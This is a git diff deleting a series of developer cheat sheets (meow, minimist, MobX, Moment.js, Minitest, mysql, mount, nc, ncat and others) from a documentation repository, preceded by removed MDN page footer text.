-There are also Machine Learning algorithms such as Linear Regression, Logistic Regression, Decision Tree, Random Forest, Support Vector Machine, Recurrent Neural Network (RNN), Long Short Term Memory (LSTM) Neural Network, Convolutional Neural Network (CNN), Deep Convolutional Neural Network and so on.
-
-### Learn more <a href="#learn_more" id="learn_more"></a>
-
-#### General knowledge <a href="#general_knowledge" id="general_knowledge"></a>
-
--   Algorithm{.external} on Wikipedia
-
-#### Technical reference <a href="#technical_reference" id="technical_reference"></a>
-
--   Explanations of sorting algorithms{.external}
--   Explanations of algorithmic complexity{.external}
-
-::: {.metadata} ::: {.section .document-meta}
-
-**Metadata**
-
--   **Last modified:** Nov 23, 2019, by MDN contributors ::: ::: ::: ::: :::
-
-### ::: {.section .newsletter-container} ::: <a href="#newsletter-form-container-.newsletter-.section-.newsletter-head-learn-the-best-of-web-development-le" id="newsletter-form-container-.newsletter-.section-.newsletter-head-learn-the-best-of-web-development-le"></a>
-
-Get the latest and greatest from MDN delivered straight to your inbox.
-
-The newsletter is offered in English only at the moment. :::
-
-::: {.form-group .newsletter-group-email} E-mail :::
-
-::: {#newsletter-privacy .form-group .form-group-agree .newsletter-group-privacy aria-hidden="false"} I'm okay with Mozilla handling my info as explained in this Privacy Policy. :::
-
-::: {.newsletter-group-submit} Sign up now :::
-
-Hide Newsletter Sign-up ::: :::
-
-::: {.content-container} MDN Web Docs{.nav-footer-logo}
-
--   Web Technologies
--   Learn Web Development
--   About MDN
--   Feedback
--   About
--   MDN Web Docs Store
--   Contact Us
--   Firefox
-
-::: {.social .social-mdn}
-
-**MDN**
-
--   -
-
-:::
-
-::: {.social .social-moz}
-
-**Mozilla**
-
--   -
-
-:::
-
-© 2005-2020 Mozilla and individual contributors. Content is available under these licenses.
-
--   Terms
--   Privacy
--   Cookies ::: :::
-
-### ::: <a href="#auth-modal-.modal-.hidden-.section-.auth-providers-tabindex-1-role-dialog-aria-modal-true-aria-label" id="auth-modal-.modal-.hidden-.section-.auth-providers-tabindex-1-role-dialog-aria-modal-true-aria-label"></a>
-
-Sign in to enjoy the benefits of an MDN account. If you haven't already created an account, you will be prompted to do so after signing in.
-
-::: {.auth-button-container} Sign in with Github{.github-auth} Sign in with Google{.google-auth} :::
-
-Close modal ::: :::
diff --git a/docs/content/cheat-sheets/meow.md b/docs/content/cheat-sheets/meow.md
deleted file mode 100644
index dfcc5faec3..0000000000
--- a/docs/content/cheat-sheets/meow.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Meow
-category: JavaScript libraries
-
-weight: -1
-intro: |
-    [meow](https://npmjs.com/package/meow) is the easiest way to write command line apps for Node.js.
----
-
-### Typical settings
-
-```js
-const cli = require('meow')(
-    `
-  Usage: appname [options]
-
-  Options:
-        --lang LANG    set the language
-
-  Other options:
-    -h, --help         show usage information
-    -v, --version      print version info and exit
-`,
-    {
-        string: ['lang'],
-        boolean: ['help', 'version'],
-        alias: { h: 'help', v: 'version' }
-    }
-);
-```
-
-`string` and `boolean` lets meow/minimist know which flags expect arguments (`string`) and which don't (`boolean`).
-
-### Using the result
-
-```js
-cli.flags; // { lang: 'en' }
-cli.input; // []
-```
-
-Yes, flags are automatically camelCased!
-
-### Lesser-used settings
-
-```js
-meow(`...`, {
-  // Default values if flags are not specified
-  default: { lang: 'en' },
-
-  // allow using -- to stop processing flags
-  '--': true,
-
-  // Populate `_` with first non-option
-  stopEarly: true,
-
-  // Invoked on unknown param
-  unknown: function () { ... }
-})
-```
-
-Also see [minimist](minimist.html).
diff --git a/docs/content/cheat-sheets/meta-tags.md b/docs/content/cheat-sheets/meta-tags.md
deleted file mode 100644
index 345d9a6766..0000000000
--- a/docs/content/cheat-sheets/meta-tags.md
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: Meta-tags gem
-category: Ruby libraries
-
-weight: -1
----
-
-### Titles
-
-```ruby
-set_meta_tags title: 'Member Login'
-# <title>Some Page Title</title>
-```
-
-```ruby
-set_meta_tags site: 'Site Title', title: 'Member Login'
-# <title>Site Title | Page Title</title>
-```
-
-```ruby
-set_meta_tags(
-  site: 'Site Title',
-  title: 'Member Login',
-  reverse: true,
-  separator: '&middot;'.html_safe
-)
-# <title>Page Title · Site Title</title>
-```
-
-Works in a controller or a view.
-
-### Setting defaults
-
-```
-rails generate meta_tags:install
-```
-
-This creates `config/initializers/meta_tags.rb` that you can edit.
-
-### Others
-
-```ruby
-set_meta_tags site: 'Site name'
-set_meta_tags title: 'Title'
-set_meta_tags description: "All text about keywords"
-```
-
-```ruby
-set_meta_tags keywords: %w[abc def ghi]
-set_meta_tags canonical: 'http://...'
-set_meta_tags icon: 'favicon.ico'
-set_meta_tags author: 'http://...'
-set_meta_tags alternate: { 'fr' => 'http://...' }
-set_meta_tags prev: 'http://...'
-set_meta_tags next: 'http://...'
-set_meta_tags image_src: 'http://...'
-```
-
-```ruby
-set_meta_tags noindex: true
-set_meta_tags nofollow: true
-set_meta_tags follow: true
-```
-
-```ruby
-set_meta_tags og: { image: ['...'] }
-set_meta_tags twitter: { description: '...' }
-```
-
-```ruby
-set_meta_tags separator: '·'   # Site · Page title
-set_meta_tags prefix: ' '      # Around the separator
-set_meta_tags suffix: ' '
-```
-
-```ruby
-set_meta_tags lowercase: true  # Lowercase page title
-set_meta_tags reverse: true    # Site name last
-```
-
-### In views
-
-```ruby
-# Displaying tags
-<%= display_meta_tags %>
-```
-
-```ruby
-# Displaying tags individually
-<h1><%= title %></h1>
-```
-
-```ruby
-# Setting tags
-<% title 'Member Login' %>
-<% description 'My page' %>
-<% keywords '..' %>
-```
-
-### Reference
-
--   Accurate as of 2.1.0. See: <https://github.com/kpumuk/meta-tags>
diff --git a/docs/content/cheat-sheets/middleman.md b/docs/content/cheat-sheets/middleman.md
deleted file mode 100644
index 655ccb56aa..0000000000
--- a/docs/content/cheat-sheets/middleman.md
+++ /dev/null
@@ -1,84 +0,0 @@
----
-title: Middleman 3
-category: JavaScript libraries
----
-
-**NB:** This is for Middleman 3, not Middleman 4+.
-
-### Compass config
-
-    compass_config do |config|
-      config.output_style = :compact
-    end
-
-### Config
-
-    # Automatic image dimensions on image_tag helper
-    activate :automatic_image_sizes
-
-### Gems
-
-    # Susy grids in Compass
-    # First: gem install compass-susy-plugin
-    require 'susy'
-
-    # CodeRay syntax highlighting in Haml
-    # First: gem install haml-coderay
-    require 'haml-coderay'
-
-    # CoffeeScript filters in Haml
-    # First: gem install coffee-filter
-    require 'coffee-filter'
-
-### Page command
-
-    # With no layout
-    page "/path/to/file.html", :layout => false
-
-    # With alternative layout
-    page "/path/to/file.html", :layout => :otherlayout
-
-    # A path which all have the same layout
-    with_layout :admin do
-      page "/admin/*"
-    end
-
-    # Proxy (fake) files
-    page "/this-page-has-no-template.html", :proxy => "/template-file.html" do
-      @which_fake_page = "Rendering a fake page with a variable"
-    end
-
-### Helpers
-
-    helpers do
-      def some_helper
-        "Helping"
-      end
-    end
-
-### Directories
-
-    set :css_dir, "alternative_css_directory"
-    set :js_dir, "alternative_js_directory"
-    set :images_dir, "alternative_image_directory"
-
-# Build-specific configuration
-
-    configure :build do
-      activate :minify_css
-      activate :minify_javascript
-
-      # Enable cache buster
-      activate :cache_buster
-
-      # Use relative URLs
-      activate :relative_assets
-
-      # Compress PNGs after build
-      # First: gem install middleman-smusher
-      # require "middleman-smusher"
-      activate :smusher
-
-      # Or use a different image path
-      set :http_path, "/Content/images/"
-    end
diff --git a/docs/content/cheat-sheets/minikube.md b/docs/content/cheat-sheets/minikube.md
deleted file mode 100644
index b0c6f3b899..0000000000
--- a/docs/content/cheat-sheets/minikube.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To start with virtualbox driver:
-
-minikube start --vm-driver=virtualbox
-
-# To configure docker environment variables:
-
-minikube docker-env
-
-# To start view the dashboard in a browser:
-
-minikube dashboard
-
-# To list all services:
-
-minikube service list
-
-# To start a service in a browser:
-
-minikube service <service>
diff --git a/docs/content/cheat-sheets/minimist.md b/docs/content/cheat-sheets/minimist.md
deleted file mode 100644
index 8f870294e6..0000000000
--- a/docs/content/cheat-sheets/minimist.md
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: minimist
-category: JavaScript libraries
----
-
-### Usage
-
-```js
-var minimist = require('minimist');
-```
-
-{: .-setup}
-
-```js
-var args = minimist(process.argv.slice(2), {
-    string: 'lang', // --lang xml
-    boolean: ['version'], // --version
-    alias: { v: 'version' }
-});
-```
-
-```js
-console.log(args);
-```
-
-All options are optional, but it's recommended you set `string` and `boolean` at least.
-
-### All options
-
-```js
-var args = minimist(process.argv.slice(2), {
-  string: [ 'lang' ],
-  boolean: [ 'pager' ],
-  alias: { h: 'help', v: 'version' },
-  default: { lang: 'en' },
-  '--': true,
-  stopEarly: true, /* populate _ with first non-option */
-  unknown: function () { ... } /* invoked on unknown param */
-})
-```
-
-All options are optional.
-
-### Result
-
-With `--lang xml --no-pager -h index.js package.json`, you get:
-{: .-setup}
-
-```
-args == {
-  lang: 'xml',
-  version: false,
-  h: true,
-  help: true,
-  _: [ 'index.js', 'package.json' ]
-}
-```
-
-## Meow
-
-### Help and version
-
-Use [meow](https://www.npmjs.com/package/meow) to automatically add support for `--help`, `--version` and more.
-{: .-setup}
-
-```js
-meow(
-    `
-    Usage:
-        $0 FILES [options]
-
-    Options:
-        -h, --help         print usage information
-        -v, --version      show version info and exit
-`,
-    {
-        alias: { h: 'help', v: 'version' }
-        /* minimist options */
-    }
-);
-```
-
-### Reference
-
--   <https://www.npmjs.org/package/minimist>
--   <https://github.com/substack/minimist>
diff --git a/docs/content/cheat-sheets/minitest.md b/docs/content/cheat-sheets/minitest.md
deleted file mode 100644
index f78201f16b..0000000000
--- a/docs/content/cheat-sheets/minitest.md
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: Minitest
-category: Ruby
----
-
-### Usage
-
-    require 'minitest/autorun'
-
-    describe "X" do
-      before do .. end
-      after do .. end
-      subject { .. }
-      let(:list) { Array.new }
-
-      it "should work" do
-        assert true
-      end
-    end
-
-### Specs (.must/.wont)
-
-    expect(x)
-    .must_be :==, 0
-    .must_equal b
-    .must_be_close_to 2.99999
-    .must_be_same_as b
-
-    .must_include needle
-    .must_be_empty
-
-    .must_be_kind_of
-    .must_be_instance_of
-    .must_be_nil
-    .must_match /regex/
-    .must_be :<=, 42
-    .must_respond_to msg
-
-    .must_be_silent  ( proc { "no stdout or stderr" }.must_be_silent)
-    .must_output "hi"
-
-    proc { ... }.must_output out_or_nil [, err]
-    proc { ... }.must_raise exception
-    proc { ... }.must_throw sym
-
-### Test
-
-    class TestHipster < Minitest::Test
-      def setup
-        @subject = ["silly hats", "skinny jeans"]
-      end
-
-      def teardown
-        @hipster.destroy!
-      end
-
-      def test_for_helvetica_font
-        assert_equal "helvetica!", @hipster.preferred_font
-      end
-
-      def test_not_mainstream
-        refute @hipster.mainstream?
-      end
-    end
-
-### Assertions
-
-    assert
-    assert_block { ... }
-    assert_empty
-    assert_equal 2, @size
-    assert_in_delta @size, 1, 1
-    assert_in_epsilon
-    assert_includes @list, "item"
-    assert_instance_of Array, @list
-    assert_kind_of Enumerable, @list
-    assert_match @str, /regex/
-    assert_nil
-    assert_operator @n, :==, 0
-    assert_output
-    assert_raises
-    assert_respond_to
-    assert_same
-    assert_send
-    assert_silent
-    assert_throws
-
-### Minitest::Mock
-
-A simple and clean mock system. There two essential methods at our disposal: expect and verify.
-
-    require 'minitest/autorun'
-
-    describe Twipster, "Make every tweet a hipster tweet." do
-      before do
-        @twitter  = Minitest::Mock.new
-        @twipster = Twipster.new(@twitter)
-      end
-
-      it "should append a #lolhipster hashtag and update Twitter with our status" do
-        tweet = "Skyrim? Too mainstream."
-        @twitter.expect :update, true, ["#{tweet} #lolhipster"]
-        @twipster.submit(tweet)
-        assert @twitter.verify # verifies tweet and hashtag was passed to `@twitter.update`
-      end
-    end
-
-### Reporters
-
-    gem 'minitest-reporters'
-
-    require 'minitest/reporters'
-    Minitest::Reporters.use! Minitest::Reporters::SpecReporter.new
-
-    [Default, Spec, Progress, RubyMate, RubyMine, JUnit]
diff --git a/docs/content/cheat-sheets/mixpanel.md b/docs/content/cheat-sheets/mixpanel.md
deleted file mode 100644
index f5b28cb8b8..0000000000
--- a/docs/content/cheat-sheets/mixpanel.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Mixpanel
-
-category: Analytics
----
-
-### Identify
-
-```js
-mixpanel.identify('284');
-mixpanel.people.set({ $email: 'hi@gmail.com' });
-```
-
-```js
-// Set common properties
-mixpanel.register({ age: 28, gender: 'male' });
-```
-
-### Track events
-
-```js
-mixpanel.track('Login success');
-mixpanel.track('Search', { query: 'cheese' });
-```
-
-### References
-
--   <https://mixpanel.com/help/reference/javascript>
diff --git a/docs/content/cheat-sheets/mkdir.md b/docs/content/cheat-sheets/mkdir.md
deleted file mode 100644
index e111573b16..0000000000
--- a/docs/content/cheat-sheets/mkdir.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To create nested directories:
-
-mkdir -p foo/bar/baz
-
-# To create foo/bar and foo/baz directories:
-
-mkdir -p foo/{bar,baz}
-
-# To create the foo/bar, foo/baz, foo/baz/zip and foo/baz/zap directories:
-
-mkdir -p foo/{bar,baz/{zip,zap}}
diff --git a/docs/content/cheat-sheets/mobx.md b/docs/content/cheat-sheets/mobx.md
deleted file mode 100644
index 32302aabc4..0000000000
--- a/docs/content/cheat-sheets/mobx.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Mobx
-category: JavaScript libraries
----
-
-### Properties
-
-```js
-import { observable, computed } from 'mobx';
-
-class Page {
-    @observable title = '';
-    @observable published = false;
-    @observable author = null;
-
-    @computed get authorName() {
-        return this.author || 'Anonymous';
-    }
-}
-```
-
-### Actions
-
-```js
-class Page {
-    @action publish() {
-        this.published = true;
-        // do ajax/async here if you like
-    }
-}
-```
-
-### Plain objects
-
-```js
-const person = observable({
-    name: 'Ella Fitzgerald'
-});
-```
-
-```js
-const temp = observable(23)
-temp.get()
-temp.set(25)
-temp.observe(...)
-```
-
-## Reactions
-
-### Importing
-
-```js
-import { autorun, autorunAsync, when } from 'mobx';
-```
-
-### autorun()
-
-```js
-// Runs it, finds out what it accessed, then observe those
-autorun(() => {
-    console.log(page.title);
-});
-```
-
-### when()
-
-```js
-class Foo {
-    constructor() {
-        when(
-            () => !this.isVisible,
-            () => this.doSomething()
-        );
-    }
-}
-```
-
-### expr()
-
-```js
-// A temporary computed value. Its result is cached.
-render () {
-  const isPublished = expr(() => page.published === true)
-  if (isPublished) { ... }
-}
-```
-
-## [Modifiers](http://mobxjs.github.io/mobx/refguide/modifiers.html)
-
--   `asMap(obj)` - JS map (dynamic keys)
--   `asReference(fn)` - don't observe me
--   `asStructure(obj)` - JS object (observe as deepEqual)
--   `asFlat(array)` - JS array (observe its children)
-
-## React
-
-### mobx-react
-
-```js
-import { observer } from 'mobx-react';
-
-@observer
-class PageView extends React.Component {
-    render() {
-        return <div>{this.props.page.title}</div>;
-    }
-}
-
-<PageView page={page} />;
-```
-
-### Functional components
-
-```js
-import { observer } from 'mobx-react'
-
-const PageView = observer(({page}) => {
-  <div>{page.title}</div>
-})
-
-<PageView page={page} />
-```
-
-## References
-
--   <https://github.com/mobxjs/mobx>
diff --git a/docs/content/cheat-sheets/mocha-blanket.md b/docs/content/cheat-sheets/mocha-blanket.md
deleted file mode 100644
index 6738db2562..0000000000
--- a/docs/content/cheat-sheets/mocha-blanket.md
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: Mocha blanket
-category: JavaScript libraries
-
-intro: |
-    Use [blanket](https://npmjs.com/package/blanket) for easy coverage reporting for Mocha JavaScript tests.
----
-
-### Quickstart guide
-
-Install blanket:
-{: .-setup}
-
-```bash
-npm i --save-dev blanket
-```
-
-In your test helpers, use Blanket before `require`ing:
-
-```js
-if (process.env.COVERAGE) {
-    require('blanket')({
-        pattern: require('path').resolve('./index.js')
-    });
-}
-thing = require('../index');
-```
-
-Add to `package.json`:
-
-```json
-"scripts": {
-  "coverage": "env COVERAGE=1 mocha -R html-cov > coverage.html && open coverage.html"
-}
-```
-
-Be sure to ignore it:
-
-```bash
-echo "coverage.html" >> .gitignore
-```
-
-Then run:
-
-```bash
-npm run coverage
-```
-
-### Travis + coveralls.io support
-
-Visit [coveralls.io] then activate your repo. Then install the appropriate packages:
-{: .-setup}
-
-```bash
-npm i --save-dev mocha-lcov-reporter coveralls
-```
-
-Add this to `.travis.yml`:
-
-```yml
-after_success:
-    - ./node_modules/.bin/mocha -R mocha-lcov-reporter | ./node_modules/coveralls/bin/coveralls.js
-```
-
-Commit, push, wait for Travis to finish.
-
-[blanket]: https://www.npmjs.org/package/blanket
-[coveralls.io]: http://coveralls.io
diff --git a/docs/content/cheat-sheets/mocha-html.md b/docs/content/cheat-sheets/mocha-html.md
deleted file mode 100644
index dcf6be43b6..0000000000
--- a/docs/content/cheat-sheets/mocha-html.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: Mocha HTML
-category: JavaScript libraries
----
-
-This is a mocha template that loads js/css from cdn.
-
-```html
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Mocha</title>
-        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-        <link href="https://cdn.rawgit.com/mochajs/mocha/2.2.5/mocha.css" rel="stylesheet" />
-    </head>
-    <body>
-        <div id="mocha"></div>
-        <script src="https://cdn.rawgit.com/mochajs/mocha/2.2.5/mocha.js"></script>
-        <script src="https://cdn.rawgit.com/chaijs/chai/2.3.0/chai.js"></script>
-        <script>
-            window.onerror = function (msg, url, line) {
-                document.getElementById('mocha').innerHTML += '<h1>' + msg + '</' + 'h1>' + '<h2>' + url + ':' + line + '</' + 'h2>';
-                return false;
-            };
-        </script>
-        <script>
-            mocha.setup('bdd');
-        </script>
-        <!-- what to test: -->
-        <script src="../index.js"></script>
-        <!-- tests to run: -->
-        <script src="first_test.js"></script>
-        <script src="second_test.js"></script>
-        <script>
-            mocha.run();
-        </script>
-    </body>
-</html>
-```
diff --git a/docs/content/cheat-sheets/modella.md b/docs/content/cheat-sheets/modella.md
deleted file mode 100644
index 414d7c6f19..0000000000
--- a/docs/content/cheat-sheets/modella.md
+++ /dev/null
@@ -1,128 +0,0 @@
----
-title: Modella
-category: JavaScript libraries
-
-prism_languages: [coffeescript]
-intro: |
-    [Modella](https://www.npmjs.com/package/modella) allows you to create simple models in JavaScript. This is a guide on basic usage of Modella in CoffeeScript.
----
-
-### Defining models
-
-```coffeescript
-User = Modella('User')
-```
-
-```coffeescript
-  .attr('name')
-  .attr('email', { required: true })
-  .use(require('modella-validators'))
-```
-
-```coffeescript
-  .validator (u) ->
-    u.error('username', 'is required')  unless u.has('username')
-```
-
-### Instances
-
-```coffeescript
-user
-  .name()
-  .name('John')
-  .set(name: 'John')
-```
-
-```coffeescript
-  .has('name')   # → true
-  .isNew()
-  .isValid()
-```
-
-```coffeescript
-  .save (err) ->
-  .remove (err) ->
-  .removed
-  .model         # === User
-```
-
-## Events
-
-### Emitting
-
-```coffeescript
-Model.emit('event', [data...])
-```
-
-```coffeescript
-record.emit('event', [data...])
-```
-
-### List of events
-
-```coffeescript
-user
-  .on 'save', ->
-  .on 'create', ->
-  .on 'saving', (data, done) -> done()
-```
-
-```coffeescript
-  .on 'remove', ->
-  .on 'removing', (data, done) -> done()
-```
-
-```coffeescript
-  .on 'valid', ->
-  .on 'invalid', ->
-```
-
-```coffeescript
-  .on 'change', ->
-  .on 'change email', ->
-```
-
-```coffeescript
-  .on 'initializing', (instance, attrs) ->
-  .on 'initialize', ->
-```
-
-```coffeescript
-  .on 'error', -> failed to save model
-```
-
-```coffeescript
-  .on 'setting', (instance, attrs) ->  # on Model#set()
-  .on 'attr', -> # new attr via Model.attr()
-```
-
-## Misc
-
-### Plugins
-
-```coffeescript
-MyPlugin = ->
-  return (Model) ->
-
-    Model.method = ...
-    Model.prototype.method = ...
-    Model.attr(...)
-
-    Model
-```
-
-A plugin is a function that returns a model decorator (ie, a function that takes in a model and returns a model).
-
-### Memory
-
-```coffeescript
-User
-  .all (err, users) ->
-  .find id, (err, user) ->
-```
-
-```coffeescript
-  .remove ->
-  .save ->
-  .update ->
-```
diff --git a/docs/content/cheat-sheets/moment.md b/docs/content/cheat-sheets/moment.md
deleted file mode 100644
index b3f5edf697..0000000000
--- a/docs/content/cheat-sheets/moment.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Moment.js
-category: JavaScript libraries
-
-tags: [Featurable]
----
-
-### Parsing
-
-```js
-m = moment('2013-03-01', 'YYYY-MM-DD');
-```
-
-This parses the given date using the given format. Returns a moment object.
-
-### Formatting
-
-```js
-m.format(); // "2013-03-01T00:00:00+01:00"
-m.format('dddd'); // "Friday"
-m.format('MMM Do YY'); // "Mar 1st 13"
-m.fromNow(); // "7 years ago"
-m.calendar(); // "03/01/2013"
-```
-
-### Add
-
-```js
-m.add(1, 'day');
-m.subtract(2, 'days');
-```
-
-```js
-m.startOf('day');
-m.endOf('day');
-m.startOf('hour');
-```
-
-### Internationalization
-
-```js
-.format('L')      // 06/09/2014
-.format('l')      // 6/9/2014
-.format('LL')     // June 9 2014
-.format('ll')     // Jun 9 2014
-.format('LLL')    // June 9 2014 9:32 PM
-.format('lll')    // Jun 9 2014 9:32 PM
-.format('LLLL')   // Monday, June 9 2014 9:32 PM
-.format('llll')   // Mon, Jun 9 2014 9:32 PM
-```
-
-See [datetime](./datetime) for more.
-
-{% include common/moment_format.md title="Formatting" %}
-
-## References
-
-### Alternatives
-
--   [You don't need Moment.js](https://github.com/you-dont-need/You-Dont-Need-Momentjs) _(github.com)_
-
-### Also see
-
--   [Datetime cheatsheet](./datetime) _(devhints.io)_
--   [Moment website](http://momentjs.com/) _(momentjs.com)_
--   [Moment docs](http://momentjs.com/docs/) _(momentjs.com)_
diff --git a/docs/content/cheat-sheets/more.md b/docs/content/cheat-sheets/more.md
deleted file mode 100644
index 4399b2ac77..0000000000
--- a/docs/content/cheat-sheets/more.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# To show <file> beginning at line number 5:
-
-more +5 <file>
diff --git a/docs/content/cheat-sheets/mount.md b/docs/content/cheat-sheets/mount.md
deleted file mode 100644
index 9b847dde72..0000000000
--- a/docs/content/cheat-sheets/mount.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To mount / partition as read-write in repair mode:
-
-mount -o remount,rw /
-
-# To bind mount path to a second location:
-
-mount --bind <source> <destination>
-
-# To mount Usb disk as user writable:
-
-mount -o uid=username,gid=usergroup /dev/sdx /mnt/xxx
-
-# To mount a remote NFS directory:
-
-mount -t nfs <host>:<remote-dir> <local-dir>
-
-# To mount an ISO:
-
-mount -o loop disk1.iso /mnt/disk
diff --git a/docs/content/cheat-sheets/mutt.md b/docs/content/cheat-sheets/mutt.md
deleted file mode 100644
index e73ae54bee..0000000000
--- a/docs/content/cheat-sheets/mutt.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Create new mailbox in IMAP
-
-    + When located in mailbox list (c)
-    	shift + C
-
-# Move multiple messages to folder (bulk operations)
-
-    1. Select/tag them with alt+'t'
-    2. ;s in mail inbox overview for bulk operation
-
-# Deleting / Undeleting all messages in mutt
-
-    1. In mutt's index, hit ‘D' (UPPERCASE D)
-    2. It will prompt you with "Delete messages matching: "
-
-    	+ enter this string:
-
-    	~A
-
-    3. It should mark all for deletion!
-    4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages.
diff --git a/docs/content/cheat-sheets/mv.md b/docs/content/cheat-sheets/mv.md
deleted file mode 100644
index d12b0f3759..0000000000
--- a/docs/content/cheat-sheets/mv.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# To move a file from one place to another:
-
-mv <src> <dest>
-
-# To move a file from one place to another and automatically overwrite if the destination file exists:
-
-# (This will override any previous -i or -n args)
-
-mv -f <src> <dest>
-
-# To move a file from one place to another but ask before overwriting an existing file:
-
-# (This will override any previous -f or -n args)
-
-mv -i <src> <dest>
-
-# To move a file from one place to another but never overwrite anything:
-
-# (This will override any previous -f or -i args)
-
-mv -n <src> <dest>
-
-# To move listed file(s) to a directory
-
-mv -t <dest> <file>...
diff --git a/docs/content/cheat-sheets/mysql.md b/docs/content/cheat-sheets/mysql.md
deleted file mode 100644
index 20835c61eb..0000000000
--- a/docs/content/cheat-sheets/mysql.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-tags: [database]
----
-
-# To connect to a database:
-
-mysql -h <host> -u <username> -p
-
-# To backup all databases:
-
-mysqldump --all-databases --all-routines -u <username> -p > ~/dump.sql
-
-# To restore all databases:
-
-mysql -u <username> -p < ~/fulldump.sql
-
-# To create a database in utf8 charset:
-
-CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci;
-
-# To add a user and give rights on the given database:
-
-GRANT ALL PRIVILEGES ON database.\* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION;
-
-# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work. :
-
-SHOW GRANTS FOR CURRENT_USER();
-SHOW GRANTS;
-SHOW GRANTS FOR CURRENT_USER;
-
-# Basic SELECT Statement:
-
-SELECT \* FROM tbl_name;
-
-# Basic INSERT Statement:
-
-INSERT INTO tbl_name (col1,col2) VALUES(15,col1\*2);
-
-# Basic UPDATE Statement:
-
-UPDATE tbl_name SET col1 = "example";
-
-# Basic DELETE Statement:
-
-DELETE FROM tbl_name WHERE user = 'jcole';
-
-# To check stored procedure:
-
-SHOW PROCEDURE STATUS;
-
-# To check stored function:
-
-SHOW FUNCTION STATUS;
diff --git a/docs/content/cheat-sheets/mysqldump.md b/docs/content/cheat-sheets/mysqldump.md
deleted file mode 100644
index d71fb878b2..0000000000
--- a/docs/content/cheat-sheets/mysqldump.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-tags: [database]
----
-
-# To dump a database to a file (Note that your password will appear in your command history!):
-
-mysqldump -u<username> -p<password> <database> > db.sql
-
-# To dump a database to a file:
-
-mysqldump -u<username> -p <database> > db.sql
-
-# To dump a database to a .tgz file (Note that your password will appear in your command history!):
-
-mysqldump -u<username> -p<password> <database> | gzip -9 > db.sql
-
-# To dump a database to a .tgz file:
-
-mysqldump -u<username> -p <database> | gzip -9 > db.sql
-
-# To dump all databases to a file (Note that your password will appear in your command history!):
-
-mysqldump -u<username> -p<password> --all-databases > all-databases.sql
-
-# To dump all databases to a file:
-
-mysqldump -u<username> -p --all-databases > all-databases.sql
-
-# To export the database structure only:
-
-mysqldump --no-data -u<username> -p <database> > dump_file
-
-# To export the database data only:
-
-mysqldump --no-create-info -u<username> -p <database> > dump_file
diff --git a/docs/content/cheat-sheets/nc.md b/docs/content/cheat-sheets/nc.md
deleted file mode 100644
index bfaf8e0012..0000000000
--- a/docs/content/cheat-sheets/nc.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-tags: [networking]
----
-
-# To open a TCP connection from <src-port> to <dest-port> of <dest-host>, with a timeout of <seconds>
-
-nc -p <src-port> -w <seconds> <dest-host> <dest-port>
-
-# To open a UDP connection to <dest-port> of <dest-host>:
-
-nc -u <dest-host> <dest-port>
-
-# To open a TCP connection to port 42 of <host> using <source-host> as the IP for the local end of the connection:
-
-nc -s <source-host> <dest-host> <port>
-
-# To create and listen on a UNIX-domain stream socket:
-
-nc -lU /var/tmp/dsocket
-
-# To connect to <dest-port> of <dest-host> via an HTTP proxy at <proxy-host>,
-
-# <proxy-port>. This example could also be used by ssh(1); see the ProxyCommand
-
-# directive in ssh_config(5) for more information.
-
-nc -x<proxy-host>:<proxy-port> -Xconnect <dest-host> <dest-port>
-
-# The same example again, this time enabling proxy authentication with username "ruser" if the proxy requires it:
-
-nc -x<proxy-host>:<proxy-port> -Xconnect -Pruser <host> <port>
-
-# To choose the source IP for the testing using the -s option
-
-nc -zv -s source_IP target_IP Port
diff --git a/docs/content/cheat-sheets/ncat.md b/docs/content/cheat-sheets/ncat.md
deleted file mode 100644
index 3a1ef91ca1..0000000000
--- a/docs/content/cheat-sheets/ncat.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-tags: [networking]
----
-
-# Connect mode (ncat is client) | default port is 31337
-
-ncat <host> [<port>]
-
-# Listen mode (ncat is server) | default port is 31337
-
-ncat -l [<host>] [<port>]
-
-# Transfer file (closes after one transfer)
-
-ncat -l [<host>] [<port>] < file
-
-# Transfer file (stays open for multiple transfers)
-
-ncat -l --keep-open [<host>] [<port>] < file
-
-# Receive file
-
-ncat [<host>] [<port>] > file
-
-# Brokering | allows for multiple clients to connect
-
-ncat -l --broker [<host>] [<port>]
-
-# Listen with SSL | many options, use ncat --help for full list
-
-ncat -l --ssl [<host>] [<port>]
-
-# Access control
-
-ncat -l --allow <ip>
-ncat -l --deny <ip>
-
-# Proxying
-
-ncat --proxy <proxyhost>[:<proxyport>] --proxy-type {http | socks4} <host>[<port>]
-
-# Chat server | can use brokering for multi-user chat
-
-ncat -l --chat [<host>] [<port>]
diff --git a/docs/content/cheat-sheets/ncdu.md b/docs/content/cheat-sheets/ncdu.md
deleted file mode 100644
index 8696b843b8..0000000000
--- a/docs/content/cheat-sheets/ncdu.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To save results to <file>:
-
-ncdu -o <file>
-
-# To read from <file>:
-
-ncdu -f <file>
-
-# To save results to a compressed file:
-
-ncdu -o- | gzip > <file>
-
-# To read from a compressed file:
-
-zcat <file> | ncdu -f-
diff --git a/docs/content/cheat-sheets/netlify.toml.md b/docs/content/cheat-sheets/netlify.toml.md
deleted file mode 100644
index 481f8e2924..0000000000
--- a/docs/content/cheat-sheets/netlify.toml.md
+++ /dev/null
